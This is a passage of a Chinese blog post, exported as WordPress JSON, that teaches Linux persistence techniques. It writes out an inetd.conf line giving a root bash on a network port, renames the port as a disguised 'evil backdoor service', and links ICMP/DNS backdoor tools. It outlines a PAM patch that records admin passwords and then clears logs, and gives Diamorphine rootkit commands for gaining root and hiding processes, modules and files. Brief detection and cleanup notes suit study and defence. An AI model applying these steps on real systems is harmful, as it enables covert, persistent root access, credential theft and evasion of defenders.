class=\"lazy\" loading=\"lazy\" alt=\"1746610886316-8bf4fa05-09c9-4204-b058-f1b3f5fded89.png\" \/><\/p>\n<h1>inetd\u670d\u52a1\u540e\u95e8<\/h1>\n<p>inetd\u662f\u4e00\u4e2a\u76d1\u542c\u5916\u90e8\u7f51\u7edc\u8bf7\u6c42(\u5c31\u662f\u4e00\u4e2asocket)\u7684\u7cfb\u7edf\u5b88\u62a4\u8fdb\u7a0b\uff0c\u9ed8\u8ba4\u60c5\u51b5\u4e0b\u4e3a13\u7aef\u53e3\u3002\u5f53inetd\u63a5\u6536\u5230\u4e00\u4e2a\u5916\u90e8\u8bf7\u6c42\u540e\uff0c\u5b83\u4f1a\u6839\u636e\u8fd9\u4e2a\u8bf7\u6c42\u5230\u81ea\u5df1\u7684\u914d\u7f6e\u6587\u4ef6\u4e2d\u53bb\u627e\u5230\u5b9e\u9645\u5904\u7406\u5b83\u7684\u7a0b\u5e8f\uff0c\u7136\u540e\u518d\u628a\u63a5\u6536\u5230\u7684\u8fd9\u4e2asocket\u4ea4\u7ed9\u90a3\u4e2a\u7a0b\u5e8f\u53bb\u5904\u7406\u3002\u6240\u4ee5\uff0c\u5982\u679c\u6211\u4eec\u5df2\u7ecf\u5728\u76ee\u6807\u7cfb\u7edf\u7684inetd\u914d\u7f6e\u6587\u4ef6\u4e2d\u914d\u7f6e\u597d\uff0c\u90a3\u4e48\u6765\u81ea\u5916\u90e8\u7684\u67d0\u4e2asocket\u662f\u8981\u6267\u884c\u4e00\u4e2a\u53ef\u4ea4\u4e92\u7684shell\uff0c\u5c31\u83b7\u53d6\u4e86\u4e00\u4e2a\u540e\u95e8<\/p>\n<pre class=\"prettyprint linenums\" ><code class=\"language-basic\">![54](54.png)![54](54.png)#\u4fee\u6539\/etc\/inetd.conf\n$vim \/etc\/inetd.conf\n#discard stream tcp nowait root internal\n#discard dgram udp wait root internal\ndaytime stream tcp nowait root \/bin\/bash bash -i\n#\u5f00\u542finetd\ninetd\n#nc\u8fde\u63a5\nnc -vv 192.168.2.11 13\n\u4fee\u6539\u9ed8\u8ba4\u7aef\u53e3\n\/etc\/services\nwoot 6666\/tcp #evil backdoor service\n\u7136\u540e\u4fee\u6539\/etc\/inetd.conf \uff1a\nwoot stream tcp nowait root \/bin\/bash bash -i\n\u6211\u4eec\u53ef\u4ee5\u4fee\u6539\u6210\u4e00\u4e9b\u5e38\u89c1\u7684\u7aef\u53e3\uff0c\u4ee5\u5b9e\u73b0\u9690\u85cf\u3002\n\u5176\u5b9e \/etc\/shadow\u6587\u4ef6\uff0c\u7206\u7834root\u7684\u5bc6\u7801\u624d\u6700\u4fdd\u9669\u554a<\/code><\/pre>\n<p><img loading="lazy" decoding="async" decoding=\"async\"  src=\"https:\/\/www.youvii.site\/wp-content\/themes\/lolimeow-lolimeowV13.13\/assets\/images\/loading.gif\" data-src=\"https:\/\/cdn.picui.cn\/vip\/2025\/10\/24\/68fae43cbbdec.png\" class=\"lazy\" loading=\"lazy\" alt=\"1746610915840-a40e5768-7297-4e03-aaca-d1a33ce2093b.png\" \/>\u68c0\u6d4b\uff1a\u67e5\u770b\u914d\u7f6e\u6587\u4ef6\u5373\u53ef<\/p>\n<p>cat \/etc\/inetd.conf<\/p>\n<h1>\u534f\u8bae\u540e\u95e8<\/h1>\n<p>\u5728\u4e00\u4e9b\u8bbf\u95ee\u63a7\u5236\u505a\u7684\u6bd4\u8f83\u4e25\u683c\u7684\u73af\u5883\u4e2d\uff0c\u7531\u5185\u5230\u5916\u7684TCP\u6d41\u91cf\u4f1a\u88ab\u963b\u65ad\u6389\u3002\u4f46\u662f\u5bf9\u4e8eUDP(DNS\u3001ICMP)\u76f8\u5173\u6d41\u91cf\u901a\u5e38\u4e0d\u4f1a\u62e6\u622a<\/p>\n<p>ICMP<\/p>\n<p>\u4e3b\u8981\u539f\u7406\u5c31\u662f\u5229\u7528ICMP\u4e2d\u53ef\u63a7\u7684data\u5b57\u6bb5\u8fdb\u884c\u6570\u636e\u4f20\u8f93\uff0c\u5177\u4f53\u539f\u7406\u8bf7\u53c2\u8003: <a href=\"https:\/\/zhuanlan.zhihu.co\">https:\/\/zhuanlan.zhihu.co<\/a><\/p>\n<p>m\/p\/41154036<\/p>\n<p>\u5f00\u6e90\u5de5\u5177\uff1aICMP\u540e\u95e8\u9879\u76ee\u5730\u5740\uff1a<a href=\"https:\/\/github.com\/andreafabrizi\/prism\">https:\/\/github.com\/andreafabrizi\/prism<\/a><\/p>\n<p>DNS<\/p>\n<p>\u5728\u5927\u591a\u6570\u7684\u7f51\u7edc\u91cc\u73af\u5883\u4e2dIPS\/IDS\u6216\u8005\u786c\u4ef6\u9632\u706b\u5899\u90fd\u4e0d\u4f1a\u76d1\u63a7\u548c\u8fc7\u6ee4DNS\u6d41\u91cf\u3002\u4e3b\u8981\u539f\u7406\u5c31\u662f\u5c06\u540e\u95e8\u8f7d\u8377\u9690\u85cf\u5728\u62e5\u6709PTR\u8bb0\u5f55\u548cA\u8bb0\u5f55\u7684DNS\u57df\u4e2d\uff08\u4e5f\u53ef\u4ee5\u5229\u7528AAAA\u8bb0\u5f55\u548cIPv6\u5730\u5740\u4f20\u8f93\u540e\u95e8\uff09\uff0c\u5177\u4f53\u8bf7\u53c2\u8003\uff1a<\/p>\n<p>\u901a\u8fc7DNS\u4f20\u8f93\u540e\u95e8\u6765\u7ed5\u8fc7\u6740\u8f6f<\/p>\n<p>\u5f00\u6e90\u5de5\u5177\uff1aDNS\u540e\u95e8\u9879\u76ee\u5730\u5740\uff1a<a href=\"https:\/\/github.com\/DamonMohammadbagher\/NativePayload_DNS\">https:\/\/github.com\/DamonMohammadbagher\/NativePayload_DNS<\/a><\/p>\n<p>\u534f\u8bae\u540e\u95e8\u68c0\u6d4b\uff1a\u5bf9\u4e8eDNS\/ICMP\u8fd9\u79cd\u534f\u8bae\u540e\u95e8\uff0c\u76f4\u63a5\u67e5\u770b\u7f51\u7edc\u8fde\u63a5\u5373\u53ef\uff0c\u56e0\u4e3a\u5728\u4f7f\u7528\u8fc7\u7a0b\u4e2d\u4f1a\u4ea7\u751f\u5927\u91cf\u7684\u7f51\u7edc\u8fde\u63a5<\/p>\n<p>\u6e05\u9664\uff1akill\u8fdb\u7a0b\u3001\u5220\u9664\u6587\u4ef6\u5373\u53ef<\/p>\n<h1>PAM\u540e\u95e8<\/h1>\n<p>PAM\u4f7f\u7528\u914d\u7f6e \/etc\/pam.d\/ \u4e0b\u7684\u6587\u4ef6\u6765\u7ba1\u7406\u8ba4\u8bc1\u65b9\u5f0f\uff0c\u5e94\u7528\u7a0b\u5e8f\u8c03\u7528\u76f8\u5e94\u7684\u914d\u7f6e\u6587\u4ef6\uff0c\u4ee5\u52a0\u8f7d\u52a8\u6001\u5e93\u7684\u5f62\u5f0f\u8c03\u7528 \/lib\/security\u4e0b\u7684\u6a21\u5757\u3002<\/p>\n<p>PAM\u914d\u7f6e\u53ef\u5206\u4e3a\u56db\u4e2a\u53c2\u6570: \u6a21\u5757\u7c7b\u578b\u3001\u63a7\u5236\u6807\u8bb0\u3001\u6a21\u5757\u8def\u5f84\u3001\u6a21\u5757\u53c2\u6570\uff0c\u4f8b\u5982: session required<\/p>\n<p>pam_selinux.so open<\/p>\n<p>\u4e0a\u9762\u63d0\u5230\u7684 sshd \u8f6f\u94fe\u63a5\u540e\u95e8\u5229\u7528\u7684 PAM \u673a\u5236\u8fbe\u5230\u4efb\u610f\u5bc6\u7801\u767b\u5f55\uff0c\u8fd8\u6709\u4e00\u79cd\u65b9\u5f0f\u662f\u952e\u76d8\u8bb0\u5f55\u3002\u539f\u7406\u4e3b\u8981\u662f\u901a\u8fc7 pam_unix_auth.c \u6253\u8865\u4e01\u7684\u65b9\u5f0f\u6f5c\u5165\u5230\u6b63\u5e38\u7684 pam \u6a21\u5757\u4e2d\uff0c\u4ee5\u6b64\u6765\u8bb0\u5f55\u7ba1\u7406\u5458\u7684\u5e10\u53f7\u5bc6\u7801\u3002<\/p>\n<p>\u5229\u7528\u6b65\u9aa4\uff1a\u590d\u5236patch\u5230\u6e90\u4ee3\u7801\u76ee\u5f55 &gt;&gt;&gt; \u6253patch &gt;&gt;&gt; \u7f16\u8bd1 &gt;&gt;&gt; \u5c06\u751f\u6210\u7684pam_uninx.so\u6587\u4ef6\u8986\u76d6\u5230\/lib\/secruity\/pam_unix.so\u4e0b &gt;&gt;&gt; \u4fee\u6539\u6587\u4ef6\u5c5e\u6027 &gt;&gt;&gt; \u5efa\u7acb\u5bc6\u7801\u4fdd\u5b58\u6587\u4ef6\uff0c\u5e76\u8bbe\u7f6e\u597d\u76f8\u5173\u7684\u6743\u9650 &gt;&gt;&gt; \u6e05\u7406\u65e5\u5fd7 &gt;&gt;&gt; ok<\/p>\n<pre class=\"prettyprint linenums\" ><code class=\"language-basic\">#\u786e\u4fddssh\u5f00\u542fpam\u652f\u6301\nvim \/etc\/ssh\/sshd_config\nUsePAM yes\n#\u81ea\u52a8\u5316\u811a\u672c\nhttps:\/\/github.com\/litsand\/shell\/blob\/master\/pam.sh<\/code><\/pre>\n<p>\u68c0\u6d4b\uff1a<\/p>\n<pre class=\"prettyprint linenums\" ><code class=\"language-basic\">1\u3001\u901a\u8fc7Strace\u8ddf\u8e2assh\nps axu | grep sshd\nstrace -o aa -ff -p PID\ngrep open aa* | grep -v -e No -e null -e denied| grep WR\n2\u3001\u68c0\u67e5pam_unix.so\u7684\u4fee\u6539\u65f6\u95f4\nstat \/lib\/security\/pam_unix.so #32\u4f4d\nstat \/lib64\/security\/pam_unix.so #64\u4f4d<\/code><\/pre>\n<p>\u6e05\u9664\uff1ayum reinstall pam<\/p>\n<h1>Rootkit<\/h1>\n<p>rootkit\u5206\u4e3a\u5185\u6838\u7ea7\u548c\u5e94\u7528\u7ea7\u4e24\u79cd:\u5185\u6838\u7ea7\u7684\u6bd4\u5982\uff1aDiamorphine\uff0c\u5e94\u7528\u7ea7\u7684\u6bd4\u5982\uff1aMafix<\/p>\n<p>Mafix \u662f\u4e00\u6b3e\u5e38\u7528\u7684\u8f7b\u91cf\u5e94\u7528\u7ea7\u522bRootkits\uff0c\u662f\u901a\u8fc7\u4f2a\u9020ssh\u534f\u8bae\u6f0f\u6d1e\u5b9e\u73b0\u8fdc\u7a0b\u767b\u9646\u7684\u7279\u70b9\u662f\u914d\u7f6e\u7b80\u5355\u5e76\u53ef\u4ee5\u81ea\u5b9a\u4e49\u9a8c\u8bc1\u5bc6\u7801\u548c\u7aef\u53e3\u53f7\u3002\u5e94\u7528\u7ea7rookit\uff0c\u4e3b\u8981\u66ff\u6362ls\u3001ps\u3001netstat\u547d\u4ee4\u6765\u9690\u85cf\u6587\u4ef6<\/p>\n<p>\u68c0\u6d4b\uff1a\u4f7f\u7528\u76f8\u5173\u68c0\u6d4b\u5de5\u5177\uff0c\u6bd4\u5982\uff1aunhide<\/p>\n<h2>Diamorphine<\/h2>\n<p>Diamorphine\u662f\u4e00\u4e2aC\u8bed\u8a00\u5199\u7684\uff0c\u8fd0\u884c\u4e8elinux\u7cfb\u7edf\u7684rootkit\uff0c\u652f\u6301linux \u5185\u6838\u7248\u672c2.6.x\/3.x\/4.x\u3002<\/p>\n<p>\u5b89\u88c5Diamorphine<\/p>\n<p>\u76f4\u63a5\u91c7\u7528\u6e90\u7801\u5b89\u88c5\u65b9\u6cd5\uff0c\u5148\u4e0b\u8f7d\u6e90\u7801\uff1a<\/p>\n<p>git clone <a href=\"https:\/\/github.com\/m0nad\/Diamorphine.git\">https:\/\/github.com\/m0nad\/Diamorphine.git<\/a><\/p>\n<p>\u4e0b\u8f7d\u5b8c\u6210\u540e\uff0c\u8fdb\u5165\u76ee\u5f55(cd Diamorphine)<\/p>\n<p>\u4f7f\u7528\u8bf4\u660e\uff1a<\/p>\n<p>make\u5b89\u88c5\u5b8c\u4e4b\u540e\u52a0\u8f7d\u6a21\u5757,\u8fd8\u5fc5\u987b\u4ee5root\u6743\u9650\u8fd0\u884c\u3002<\/p>\n<p>insmod diamorphine.ko<\/p>\n<p>\u7528\u6cd5<\/p>\n<p>\u83b7\u53d6root<\/p>\n<p>kill -64 0<\/p>\n<p><img loading="lazy" decoding="async" decoding=\"async\"  src=\"https:\/\/www.youvii.site\/wp-content\/themes\/lolimeow-lolimeowV13.13\/assets\/images\/loading.gif\" data-src=\"https:\/\/cdn.picui.cn\/vip\/2025\/10\/24\/68fae43f510df.png\" class=\"lazy\" loading=\"lazy\" alt=\"1746611035895-6f038ed1-c455-4e08-84fb-04e522dc6bba.png\" \/><\/p>\n<p>\u9690\u85cf\u8fdb\u7a0b<\/p>\n<p>kill -31 pid\u53f7<\/p>\n<p><img loading="lazy" decoding="async" decoding=\"async\"  src=\"https:\/\/www.youvii.site\/wp-content\/themes\/lolimeow-lolimeowV13.13\/assets\/images\/loading.gif\" data-src=\"https:\/\/cdn.picui.cn\/vip\/2025\/10\/24\/68fae441a2911.png\" class=\"lazy\" loading=\"lazy\" alt=\"1746611042676-43d1eb53-543b-46e0-bcd1-6769f50ae56b.png\" \/><\/p>\n<p>\u9690\u85cf\u6a21\u5757<\/p>\n<p>\u5217\u51fa\u6a21\u5757 lsmod<\/p>\n<p><img loading="lazy" decoding="async" decoding=\"async\"  src=\"https:\/\/www.youvii.site\/wp-content\/themes\/lolimeow-lolimeowV13.13\/assets\/images\/loading.gif\" data-src=\"https:\/\/cdn.picui.cn\/vip\/2025\/10\/24\/68fae444c0704.png\" class=\"lazy\" loading=\"lazy\" alt=\"1746611050191-18a8c0f7-4fe5-4e3e-bd73-ca12d47782ff.png\" \/><\/p>\n<p>kill -63 pid\u53f7<\/p>\n<p>\u521b\u5efa\u9690\u85cf\u6587\u4ef6\uff0cls\uff0cdu\u90fd\u627e\u4e0d\u5230<\/p>\n<p>touch diamorphine_secret #\u53ea\u8981\u662fdiamorphine_secret\u5f00\u5934\u7684\u6587\u4ef6\u540d\u6216\u8005\u6587\u4ef6\u5939\uff0c\u5c31\u4f1a\u9690\u85cf\u3002<\/p>\n<p>\u5378\u8f7ddiamorphine\u6a21\u5757\uff0c\u9700\u8981root\u6743\u9650<\/p>\n<p>rmmod diamorphine<\/p>\n<blockquote>\n<p>\u66f4\u65b0: 2025-05-07 17:45:21<br \/>\n\u539f\u6587: <a href=\"https:\/\/www.yuque.com\/yuhui.net\/network\/om64ri8gaez90vq4\">https:\/\/www.yuque.com\/yuhui.net\/network\/om64ri8gaez90vq4<\/a><\/p>\n<\/blockquote>\n","protected":false},"excerpt":{"rendered":"<p>Linux\u6743\u9650\u7ef4\u6301 \u4fee\u6539\u6587\u4ef6\/\u7ec8\u7aef\u5c5e\u6027 \u6587\u4ef6\u521b\u5efa\u65f6\u95f4 \u5982\u679c\u84dd\u961f\u6839\u636e\u6587\u4ef6\u4fee\u6539\u65f6\u95f4\u6765\u5224\u65ad\u6587\u4ef6\u662f\u5426\u4e3a\u540e\u95e8\uff0c\u5982\u53c2\u8003index.php\u7684\u65f6\u95f4\u518d\u6765\u770bshell.php\u7684\u65f6\u95f4\u5c31\u53ef\u4ee5\u5224\u65adshell.php\u7684\u751f\u6210\u65f6\u95f4\u6709\u95ee\u9898 \u89e3\u51b3\u65b9\u6cd5\uff1a touch -r index.php shell.php touch\u547d\u4ee4\u7528\u4e8e\u4fee\u6539\u6587\u4ef6\u6216\u8005\u76ee\u5f55\u7684\u65f6\u95f4\u5c5e\u6027\uff0c\u5305\u62ec\u5b58\u53d6\u65f6\u95f4\u548c\u66f4\u6539\u65f6\u95f4\u3002\u82e5\u6587\u4ef6\u4e0d\u5b58\u5728\uff0c\u7cfb\u7edf\u4f1a\u5efa\u7acb\u4e00\u4e2a\u65b0\u7684\u6587\u4ef6\u3002 \u6587\u4ef6\u9501\u5b9a \u5728L [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[123,119,2],"tags":[12,17,32,43,57],"class_list":["post-790","post","type-post","status-publish","format-standard","hentry","category-tiquan","category-shentouceshijichu-network_sec","category-network_sec","tag-12","tag-github","tag-install","tag-43","tag-python"],"_links":{"self":[{"href":"https:\/\/www.youvii.site\/index.php\/wp-json\/wp\/v2\/posts\/790","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.youvii.site\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.youvii.site\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.youvii.site\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.youvii.site\/index.php\/wp-json\/wp\/v2\/comments?post=790"}],"version-history":[{"count":0,"href":"https:\/\/www.youvii.site\/index.php\/wp-json\/wp\/v2\/posts\/790\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.youvii.site\/index.php\/wp-json\/wp\/v2\/media?parent=790"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.youvii.site\/index.php\/wp-json\/wp\/v2\/categories?post=790"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.youvii.site\/index.php\/wp-json\/wp\/v2\/tags?post=790"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}